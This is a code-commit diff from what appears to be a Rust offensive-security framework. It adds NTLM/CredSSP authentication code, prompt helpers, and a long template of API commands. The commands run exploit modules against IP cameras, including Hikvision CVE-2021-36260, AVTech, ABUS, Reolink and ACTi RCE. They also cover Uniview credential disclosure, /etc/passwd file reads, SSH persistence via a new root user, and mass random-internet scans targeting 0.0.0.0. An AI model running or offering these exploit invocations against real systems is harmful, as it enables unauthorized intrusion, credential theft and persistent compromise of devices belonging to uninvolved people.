push_secbuf(&mut msg, 0, sk_off); // EncryptedRandomSessionKey (empty)
msg.extend_from_slice(&ch.flags.to_le_bytes());
// Pad to base offset
while msg.len() < base as usize { msg.push(0); }
// Payloads in order
msg.extend_from_slice(&lm_response);
msg.extend_from_slice(&nt_response);
msg.extend_from_slice(&domain_b);
msg.extend_from_slice(&user_b);
msg.extend_from_slice(&ws_b);
msg
}
fn windows_filetime_now() -> [u8; 8] {
// Windows FILETIME: 100ns intervals since 1601-01-01
// Unix epoch offset: 116444736000000000
let now = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default();
let ft = (now.as_nanos() / 100) as u64 + 116_444_736_000_000_000u64;
ft.to_le_bytes()
}
// ============================================================================
// Inline MD4 (RFC 1320) - for NTLM NT password hash
// ============================================================================
fn md4_hash(data: &[u8]) -> [u8; 16] {
let bit_len = (data.len() as u64) * 8;
let mut msg = data.to_vec();
msg.push(0x80);
while msg.len() % 64 != 56 { msg.push(0); }
msg.extend_from_slice(&bit_len.to_le_bytes());
let (mut a, mut b, mut c, mut d) = (0x67452301u32, 0xefcdab89u32, 0x98badcfeu32, 0x10325476u32);
for block in msg.chunks(64) {
let mut x = [0u32; 16];
for i in 0..16 {
x[i] = u32::from_le_bytes([block[i*4], block[i*4+1], block[i*4+2], block[i*4+3]]);
}
let (aa, bb, cc, dd) = (a, b, c, d);
macro_rules! round1 {
($a:expr,$b:expr,$c:expr,$d:expr,$k:expr,$s:expr) => {
$a = ($a.wrapping_add(($b & $c) | (!$b & $d)).wrapping_add(x[$k])).rotate_left($s);
};
}
round1!(a,b,c,d,0,3); round1!(d,a,b,c,1,7); round1!(c,d,a,b,2,11); round1!(b,c,d,a,3,19);
round1!(a,b,c,d,4,3); round1!(d,a,b,c,5,7); round1!(c,d,a,b,6,11); round1!(b,c,d,a,7,19);
round1!(a,b,c,d,8,3); round1!(d,a,b,c,9,7); round1!(c,d,a,b,10,11); round1!(b,c,d,a,11,19);
round1!(a,b,c,d,12,3); round1!(d,a,b,c,13,7); round1!(c,d,a,b,14,11); round1!(b,c,d,a,15,19);
macro_rules! round2 {
($a:expr,$b:expr,$c:expr,$d:expr,$k:expr,$s:expr) => {
$a = ($a.wrapping_add(($b & $c) | ($b & $d) | ($c & $d)).wrapping_add(x[$k]).wrapping_add(0x5A827999)).rotate_left($s);
};
}
round2!(a,b,c,d,0,3); round2!(d,a,b,c,4,5); round2!(c,d,a,b,8,9); round2!(b,c,d,a,12,13);
round2!(a,b,c,d,1,3); round2!(d,a,b,c,5,5); round2!(c,d,a,b,9,9); round2!(b,c,d,a,13,13);
round2!(a,b,c,d,2,3); round2!(d,a,b,c,6,5); round2!(c,d,a,b,10,9); round2!(b,c,d,a,14,13);
round2!(a,b,c,d,3,3); round2!(d,a,b,c,7,5); round2!(c,d,a,b,11,9); round2!(b,c,d,a,15,13);
macro_rules! round3 {
($a:expr,$b:expr,$c:expr,$d:expr,$k:expr,$s:expr) => {
$a = ($a.wrapping_add($b ^ $c ^ $d).wrapping_add(x[$k]).wrapping_add(0x6ED9EBA1)).rotate_left($s);
};
}
round3!(a,b,c,d,0,3); round3!(d,a,b,c,8,9); round3!(c,d,a,b,4,11); round3!(b,c,d,a,12,15);
round3!(a,b,c,d,2,3); round3!(d,a,b,c,10,9); round3!(c,d,a,b,6,11); round3!(b,c,d,a,14,15);
round3!(a,b,c,d,1,3); round3!(d,a,b,c,9,9); round3!(c,d,a,b,5,11); round3!(b,c,d,a,13,15);
round3!(a,b,c,d,3,3); round3!(d,a,b,c,11,9); round3!(c,d,a,b,7,11); round3!(b,c,d,a,15,15);
a = a.wrapping_add(aa); b = b.wrapping_add(bb);
c = c.wrapping_add(cc); d = d.wrapping_add(dd);
}
let mut out = [0u8; 16];
out[0..4].copy_from_slice(&a.to_le_bytes());
out[4..8].copy_from_slice(&b.to_le_bytes());
out[8..12].copy_from_slice(&c.to_le_bytes());
out[12..16].copy_from_slice(&d.to_le_bytes());
out
}
// ============================================================================
// Inline HMAC-MD5 - for NTLMv2
// ============================================================================
fn hmac_md5(key: &[u8], data: &[u8]) -> [u8; 16] {
let mut key_block = [0u8; 64];
if key.len() > 64 {
let h = md5::compute(key);
key_block[..16].copy_from_slice(&h.0);
} else {
key_block[..key.len()].copy_from_slice(key);
}
let mut ipad = [0x36u8; 64];
let mut opad = [0x5cu8; 64];
for i in 0..64 { ipad[i] ^= key_block[i]; opad[i] ^= key_block[i]; }
let mut inner = ipad.to_vec();
inner.extend_from_slice(data);
let inner_hash = md5::compute(&inner);
let mut outer = opad.to_vec();
outer.extend_from_slice(&inner_hash.0);
md5::compute(&outer).0
}
// ============================================================================
// CredSSP TSRequest ASN.1 (minimal BER)
// ============================================================================
struct TsRequestData {
nego_tokens: Option<Vec<u8>>,
auth_info: Option<Vec<u8>>,
pub_key_auth: Option<Vec<u8>>,
error_code: Option<i64>,
}
fn ber_len(buf: &mut Vec<u8>, len: usize) {
if len < 0x80 {
buf.push(len as u8);
} else if len < 0x100 {
buf.push(0x81);
buf.push(len as u8);
} else {
buf.push(0x82);
buf.push((len >> 8) as u8);
buf.push(len as u8);
}
}
fn ber_read_len(data: &[u8], pos: &mut usize) -> usize {
if *pos >= data.len() { return 0; }
let b = data[*pos]; *pos += 1;
if b < 0x80 { return b as usize; }
let nb = (b & 0x7f) as usize;
let mut val = 0usize;
for _ in 0..nb {
if *pos >= data.len() { return 0; }
val = (val << 8) | data[*pos] as usize;
*pos += 1;
}
val
}
fn build_ts_request(version: u32, nego: Option<&[u8]>, auth: Option<&[u8]>, pubkey: Option<&[u8]>) -> Vec<u8> {
let mut inner = Vec::new();
// version [0] INTEGER
let ver_bytes = encode_ber_int(version as i64);
let mut ver_val = vec![0x02]; // INTEGER tag
ber_len(&mut ver_val, ver_bytes.len());
ver_val.extend(&ver_bytes);
let mut ver_ctx = vec![0xA0]; // [0]
ber_len(&mut ver_ctx, ver_val.len());
ver_ctx.extend(ver_val);
inner.extend(ver_ctx);
// negoTokens [1]
if let Some(token) = nego {
let mut octet = vec![0x04]; ber_len(&mut octet, token.len()); octet.extend(token);
let mut ctx0 = vec![0xA0]; ber_len(&mut ctx0, octet.len()); ctx0.extend(octet);
let mut seq1 = vec![0x30]; ber_len(&mut seq1, ctx0.len()); seq1.extend(ctx0);
let mut seqof = vec![0x30]; ber_len(&mut seqof, seq1.len()); seqof.extend(seq1);
let mut ctx1 = vec![0xA1]; ber_len(&mut ctx1, seqof.len()); ctx1.extend(seqof);
inner.extend(ctx1);
}
if let Some(a) = auth {
let mut octet = vec![0x04]; ber_len(&mut octet, a.len()); octet.extend(a);
let mut ctx2 = vec![0xA2]; ber_len(&mut ctx2, octet.len()); ctx2.extend(octet);
inner.extend(ctx2);
}
if let Some(pk) = pubkey {
let mut octet = vec![0x04]; ber_len(&mut octet, pk.len()); octet.extend(pk);
let mut ctx3 = vec![0xA3]; ber_len(&mut ctx3, octet.len()); ctx3.extend(octet);
inner.extend(ctx3);
}
let mut result = vec![0x30]; // SEQUENCE
ber_len(&mut result, inner.len());
result.extend(inner);
result
}
fn parse_ts_request(data: &[u8]) -> Result<TsRequestData> {
let mut pos = 0;
if pos >= data.len() || data[pos] != 0x30 { return Err(anyhow!("Not a SEQUENCE")); }
pos += 1;
let _seq_len = ber_read_len(data, &mut pos);
let mut result = TsRequestData {
nego_tokens: None, auth_info: None, pub_key_auth: None, error_code: None,
};
while pos < data.len() {
let tag = data[pos]; pos += 1;
let field_len = ber_read_len(data, &mut pos);
if pos + field_len > data.len() { break; }
let field_data = &data[pos..pos + field_len];
match tag {
0xA0 => { /* version - skip */ }
0xA1 => {
// negoTokens: SEQUENCE OF SEQUENCE { [0] OCTET STRING }
// Drill down to get the OCTET STRING content
result.nego_tokens = Some(extract_nested_octet(field_data));
}
0xA2 => {
result.auth_info = Some(extract_octet(field_data));
}
0xA3 => {
result.pub_key_auth = Some(extract_octet(field_data));
}
0xA4 => {
// errorCode: INTEGER
if let Some(val) = extract_integer(field_data) {
result.error_code = Some(val);
}
}
_ => {}
}
pos += field_len;
}
Ok(result)
}
fn extract_octet(data: &[u8]) -> Vec<u8> {
let mut pos = 0;
if pos < data.len() && data[pos] == 0x04 {
pos += 1;
let len = ber_read_len(data, &mut pos);
if pos + len <= data.len() {
return data[pos..pos + len].to_vec();
}
}
data.to_vec()
}
fn extract_nested_octet(data: &[u8]) -> Vec<u8> {
// Drill: SEQUENCE { SEQUENCE { [0] OCTET_STRING { ... } } }
let mut pos = 0;
// Skip SEQUENCE tags
for _ in 0..3 {
if pos >= data.len() { return data.to_vec(); }
let tag = data[pos];
if tag == 0x30 || tag == 0xA0 || tag == 0x04 {
pos += 1;
let _len = ber_read_len(data, &mut pos);
if tag == 0x04 {
let remaining = data.len() - pos;
let actual_len = _len.min(remaining);
return data[pos..pos + actual_len].to_vec();
}
} else {
break;
}
}
data.to_vec()
}
fn extract_integer(data: &[u8]) -> Option<i64> {
let mut pos = 0;
if pos < data.len() && data[pos] == 0x02 {
pos += 1;
let len = ber_read_len(data, &mut pos);
if pos + len <= data.len() {
let mut val: i64 = 0;
for i in 0..len {
val = (val << 8) | data[pos + i] as i64;
}
return Some(val);
}
}
None
}
fn encode_ber_int(val: i64) -> Vec<u8> {
if val <= 0x7f { return vec![val as u8]; }
let bytes = val.to_be_bytes();
let start = bytes.iter().position(|&b| b != 0).unwrap_or(7);
bytes[start..].to_vec()
}
// ============================================================================
// SPNEGO Wrapping (minimal - just enough for NTLM transport)
// ============================================================================
fn wrap_spnego_init(ntlm_token: &[u8]) -> Vec<u8> {
// SPNEGO OID
let spnego_oid: &[u8] = &[0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02];
// NTLM OID
let ntlm_oid: &[u8] = &[0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a];
// mechToken [2] OCTET STRING
let mut mech_token = vec![0xA2];
let mut mt_octet = vec![0x04]; ber_len(&mut mt_octet, ntlm_token.len()); mt_octet.extend(ntlm_token);
ber_len(&mut mech_token, mt_octet.len()); mech_token.extend(mt_octet);
// mechTypes [0] SEQUENCE
let mut mech_types_seq = vec![0x30]; ber_len(&mut mech_types_seq, ntlm_oid.len()); mech_types_seq.extend(ntlm_oid);
let mut mech_types = vec![0xA0]; ber_len(&mut mech_types, mech_types_seq.len()); mech_types.extend(mech_types_seq);
// NegTokenInit SEQUENCE
let mut neg_init_inner: Vec<u8> = Vec::new();
neg_init_inner.extend(&mech_types);
neg_init_inner.extend(&mech_token);
let mut neg_init = vec![0xA0]; // [0] constructed
let mut neg_init_seq = vec![0x30]; ber_len(&mut neg_init_seq, neg_init_inner.len()); neg_init_seq.extend(neg_init_inner);
ber_len(&mut neg_init, neg_init_seq.len()); neg_init.extend(neg_init_seq);
// Application [0] { OID + NegTokenInit }
let mut app_inner: Vec<u8> = Vec::new();
app_inner.extend(spnego_oid);
app_inner.extend(&neg_init);
let mut result = vec![0x60]; // Application [0]
ber_len(&mut result, app_inner.len());
result.extend(app_inner);
result
}
fn wrap_spnego_response(ntlm_token: &[u8]) -> Vec<u8> {
// NegTokenResp [1] SEQUENCE { responseToken [2] OCTET STRING }
let mut rt_octet = vec![0x04]; ber_len(&mut rt_octet, ntlm_token.len()); rt_octet.extend(ntlm_token);
let mut rt = vec![0xA2]; ber_len(&mut rt, rt_octet.len()); rt.extend(rt_octet);
let mut seq = vec![0x30]; ber_len(&mut seq, rt.len()); seq.extend(rt);
let mut result = vec![0xA1]; // [1] constructed
ber_len(&mut result, seq.len());
result.extend(seq);
result
}
fn unwrap_spnego_response(data: &[u8]) -> Option<Vec<u8>> {
// Try to find the NTLM token inside SPNEGO response
// Look for NTLMSSP signature anywhere in the data
if let Some(idx) = data.windows(8).position(|w| w == NTLMSSP_SIG) {
return Some(data[idx..].to_vec());
}
None
}
src/utils.rs
+18 -30
View File
@@ -149,16 +149,6 @@ pub fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
}
}
pub fn prompt_int(msg: &str, default: i64) -> Result<i64> {
loop {
let input = prompt_default(msg, &default.to_string())?;
match input.trim().parse::<i64>() {
Ok(n) => return Ok(n),
Err(_) => println!("{}", "Please enter a valid number.".yellow()),
}
}
}
pub fn prompt_int_range(msg: &str, default: i64, min: i64, max: i64) -> Result<i64> {
loop {
let input = prompt_default(msg, &default.to_string())?;
@@ -206,26 +196,6 @@ pub fn prompt_wordlist(msg: &str) -> Result<String> {
prompt_existing_file(msg)
}
/// Prompts for a safe output filename (basename only, no directory traversal).
pub fn prompt_output_file(msg: &str, default: &str) -> Result<String> {
loop {
let raw = prompt_default(msg, default)?;
let filename = Path::new(&raw)
.file_name()
.map(|n| n.to_string_lossy().to_string())
.unwrap_or_default();
if filename.is_empty() || filename.starts_with('.') {
println!("{}", "Invalid output filename. Cannot be empty or start with '.'".yellow());
continue;
}
if filename.len() > 255 {
println!("{}", "Filename too long (max 255 chars).".yellow());
continue;
}
return Ok(filename);
}
}
// ============================================================
// CONFIG-AWARE PROMPT WRAPPERS
// These check ModuleConfig.custom_prompts first, falling back
@@ -389,6 +359,24 @@ pub fn cfg_prompt_output_file(key: &str, msg: &str, default: &str) -> Result<Str
Ok(filename)
}
/// Config-aware wordlist prompt.
/// Checks ModuleConfig.custom_prompts first, then falls back to prompt_wordlist().
pub fn cfg_prompt_wordlist(key: &str, msg: &str) -> Result<String> {
let config = crate::config::get_module_config();
if let Some(val) = config.custom_prompts.get(key) {
if !val.is_empty() && Path::new(val).is_file() {
return Ok(val.clone());
}
if !val.is_empty() {
return Err(anyhow!("Wordlist file not found: '{}'", val));
}
}
if config.api_mode {
return Err(anyhow!("Missing required prompt key '{}' (prompt: '{}'). Supply it in the 'prompts' field of the API request.", key, msg));
}
prompt_wordlist(msg)
}
// ============================================================
// VALIDATION & SANITIZATION
// ============================================================
template-api-commands.txt
+525
View File
@@ -469,3 +469,528 @@ curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
"timeout": "3"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# CAMERA EXPLOIT MODULES (added 2026-03-17)
# All modules now fully API-compatible via cfg_prompt_* wrappers.
# Interactive CLI/shell behaviour is UNCHANGED — prompts fall back
# to stdin when not in API mode.
# Prompt keys match the key names documented in each module's
# cfg_prompt_* calls.
# ═══════════════════════════════════════════════════════════════
# ─── 12. ACTi ACM-5611 RCE ──────────────────────────────────────────
# Single target (check vuln + run command):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/acti/acm_5611_rce",
"target": "192.168.1.100",
"prompts": { "port": "8080", "command": "id" }
}' | python3 -m json.tool
# CIDR subnet scan:
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/acti/acm_5611_rce",
"target": "192.168.1.0/24",
"prompts": { "port": "8080" }
}' | python3 -m json.tool
# Mass scan (infinite random):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/acti/acm_5611_rce",
"target": "0.0.0.0",
"prompts": {
"port": "8080",
"exclude_ranges": "y",
"output_file": "acti_hits.txt",
"concurrency": "100"
}
}' | python3 -m json.tool
# ─── 13. AVTech Camera CVE-2024-7029 RCE ────────────────────────────
# Single target (runs vuln check, then interactive shell in CLI mode):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/avtech/cve_2024_7029_avtech_camera",
"target": "192.168.1.101",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# Mass scan (infinite random, exclude RFC1918):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/avtech/cve_2024_7029_avtech_camera",
"target": "0.0.0.0",
"prompts": { "exclude_ranges": "y" }
}' | python3 -m json.tool
# ─── 14. Hikvision CVE-2021-36260 RCE ──────────────────────────────
# mode 1=safe check 2=reboot check 3=run cmd+read output 4=blind cmd
# 5=interactive shell (CLI only) 6=SSH shell via dropbear
# Mass scan: scan_mode 1=safe / 2=unsafe reboot / 3=custom payload (max 22 chars)
# Single target — safe vuln check:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
"target": "192.168.1.102",
"prompts": { "mode": "1" }
}' | python3 -m json.tool
# Single target — execute command + read output (max 22-char cmd):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
"target": "192.168.1.102",
"prompts": { "mode": "3", "command": "id" }
}' | python3 -m json.tool
# Single target — unsafe reboot check (confirm required):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
"target": "192.168.1.102",
"prompts": { "mode": "2", "confirm_reboot": "y" }
}' | python3 -m json.tool
# Mass scan — safe check:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
"target": "0.0.0.0",
"prompts": {
"exclude_ranges": "y",
"output_file": "hikvision_hits.txt",
"scan_mode": "1"
}
}' | python3 -m json.tool
# Mass scan — custom payload (max 22 chars):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
"target": "0.0.0.0",
"prompts": {
"exclude_ranges": "y",
"output_file": "hikvision_rce_hits.txt",
"scan_mode": "3",
"custom_payload": "id>webLib/x"
}
}' | python3 -m json.tool
# ─── 15. ABUS CVE-2023-26609 (LFI / RCE / SSH Persistence) ─────────
# mode 1=LFI mode 2=RCE mode 3=SSH persistence
# Mass scan: scan_mode 1=standard check 2=custom command
# Single target — LFI:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
"target": "192.168.1.103",
"prompts": { "mode": "1", "filepath": "/etc/passwd" }
}' | python3 -m json.tool
# Single target — RCE:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
"target": "192.168.1.103",
"prompts": { "mode": "2", "command": "id" }
}' | python3 -m json.tool
# Single target — SSH persistence (new root user):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
"target": "192.168.1.103",
"prompts": { "mode": "3", "password": "H@ckedR00t!" }
}' | python3 -m json.tool
# Mass scan — standard RCE check:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
"target": "0.0.0.0",
"prompts": {
"exclude_ranges": "y",
"output_file": "abus_hits.txt",
"scan_mode": "1"
}
}' | python3 -m json.tool
# Mass scan — custom command:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
"target": "0.0.0.0",
"prompts": {
"exclude_ranges": "y",
"output_file": "abus_rce_hits.txt",
"scan_mode": "2",
"custom_command": "id"
}
}' | python3 -m json.tool
# ─── 16. Reolink CVE-2019-11001 (Authenticated RCE) ─────────────────
# Requires valid credentials.
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/reolink/reolink_rce_cve_2019_11001",
"target": "192.168.1.104",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id"
}
}' | python3 -m json.tool
# ─── 17. Uniview NVR Password Disclosure ────────────────────────────
# Unauthenticated. Extracts + decodes all user credentials.
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/uniview/uniview_nvr_pwd_disclosure",
"target": "192.168.1.105",
"prompts": { "output_file": "uniview_creds.txt" }
}' | python3 -m json.tool
# ─── 18. FTP Anonymous Login — Mass Scan ────────────────────────────
# target "0.0.0.0" = infinite random internet scan
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ftp_anonymous",
"target": "0.0.0.0",
"prompts": {
"concurrency": "500",
"verbose": "n",
"output_file": "ftp_anon_results.txt",
"use_exclusions": "y"
}
}' | python3 -m json.tool
# Single target FTP anon check (no prompts needed):
curl -s --max-time 20 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ftp_anonymous",
"target": "192.168.1.200"
}' | python3 -m json.tool
# ─── 19. CamXploit — Camera Discovery / Exploitation Scanner ────────
# Fingerprints open ports, tests default creds, detects RTSP streams.
# Single target:
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/camxploit/camxploit",
"target": "192.168.1.150"
}' | python3 -m json.tool
# Subnet:
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/camxploit/camxploit",
"target": "192.168.1.0/24"
}' | python3 -m json.tool
# Mass random internet scan:
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/camxploit/camxploit",
"target": "0.0.0.0",
"prompts": {
"concurrency": "200",
"output_file": "camxploit_results.txt"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# SCANNER MODULES (added 2026-03-19)
# All scanner modules now fully API-compatible via cfg_prompt_*
# wrappers. Interactive CLI/shell behaviour is UNCHANGED.
# Prompt keys match the key names documented in config.rs
# and each module's cfg_prompt_* calls.
# ═══════════════════════════════════════════════════════════════
# ─── 20. Port Scanner ──────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/port_scanner",
"target": "192.168.1.1",
"prompts": {
"port_range": "1-1024",
"scan_method": "1",
"concurrency": "200",
"timeout": "3",
"show_only_open": "y",
"verbose": "n",
"output_file": ""
}
}' | python3 -m json.tool
# ─── 21. SSH Scanner (Banner Grab) ───────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ssh_scanner",
"target": "192.168.1.1",
"prompts": {
"port": "22",
"additional_targets": "",
"load_from_file": "n",
"threads": "10",
"timeout": "5",
"save_results": "y",
"output_file": "ssh_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 22. DNS Recursion Scanner ───────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/dns_recursion",
"target": "8.8.8.8",
"prompts": {
"port": "53",
"domain": "google.com",
"record_type": "A"
}
}' | python3 -m json.tool
# ─── 23. HTTP Title Scanner ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/http_title_scanner",
"target": "192.168.1.1",
"prompts": {
"additional_targets": "",
"target_file": "",
"check_http": "y",
"check_https": "y",
"use_ports": "n",
"timeout": "10",
"save_results": "y",
"verbose": "n"
}
}' | python3 -m json.tool
# ─── 24. HTTP Method Scanner ────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/http_method_scanner",
"target": "192.168.1.1",
"prompts": {
"additional_targets": "",
"target_file": "",
"scheme": "https",
"use_ports": "n",
"timeout": "10",
"verbose": "n",
"save_results": "y"
}
}' | python3 -m json.tool
# ─── 25. SMTP User Enum ─────────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/smtp_user_enum",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"port": "25",
"wordlist": "/usr/share/wordlists/usernames.txt",
"threads": "10",
"timeout_ms": "3000",
"verbose": "n",
"save_valid": "y",
"valid_output": "smtp_valid_users.txt"
}
}' | python3 -m json.tool
# ─── 26. Ping Sweep ─────────────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ping_sweep",
"target": "192.168.1.0/24",
"prompts": {
"add_manual_targets": "n",
"load_from_file": "n",
"timeout": "3",
"concurrency": "100",
"verbose": "n",
"save_up_hosts": "y",
"up_hosts_file": "ping_sweep_up_hosts.txt",
"save_down_hosts": "n",
"use_icmp": "y",
"use_tcp": "n",
"use_syn": "n",
"use_ack": "n"
}
}' | python3 -m json.tool
# ─── 27. Directory Brute Force ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/dir_brute",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"target": "192.168.1.1",
"use_https": "y",
"port": "443",
"base_path": "/",
"wordlist": "/usr/share/wordlists/dirb/common.txt",
"save_results": "y",
"sort_by": "1"
}
}' | python3 -m json.tool
# ─── 28. Sequential Fuzzer ──────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/sequential_fuzzer",
"target": "http://192.168.1.1/",
"prompts": {
"mode": "1",
"min_length": "1",
"max_length": "3",
"verbose": "n"
}
}' | python3 -m json.tool
# ─── 29. API Endpoint Scanner ───────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/api_endpoint_scanner",
"target": "https://192.168.1.1",
"prompts": {
"output_dir": "api_scan_results",
"use_spoofing": "n",
"use_generic_payload": "y",
"enable_delete": "n",
"enable_extended_methods": "n",
"modules": "1",
"concurrency": "10",
"timeout": "10",
"endpoint_source": "1",
"endpoint_file": "/tmp/endpoints.txt"
}
}' | python3 -m json.tool
# ─── 30. IPMI Enum/Exploit ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ipmi_enum_exploit",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"target": "192.168.1.1",
"port": "623",
"test_cipher_zero": "y",
"test_anonymous": "y",
"test_default_creds": "y",
"test_rakp_hash": "y",
"concurrency": "1",
"output_file": "ipmi_scan_results.csv"
}
}' | python3 -m json.tool
# ─── 31. SSDP MSearch Scanner ───────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ssdp_msearch",
"target": "192.168.1.1",
"prompts": {
"port": "1900",
"timeout": "5",
"retries": "2",
"verbose": "y",
"save_results": "y",
"search_target": "ssdp:all"
}
}' | python3 -m json.tool
# ─── 32. Sample Scanner ────────────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/sample_scanner",
"target": "192.168.1.1",
"prompts": {
"timeout": "5",
"check_http": "y",
"check_https": "y",
"verbose": "n",
"save_results": "y",
"output_file": "sample_scan.txt"
}
}' | python3 -m json.tool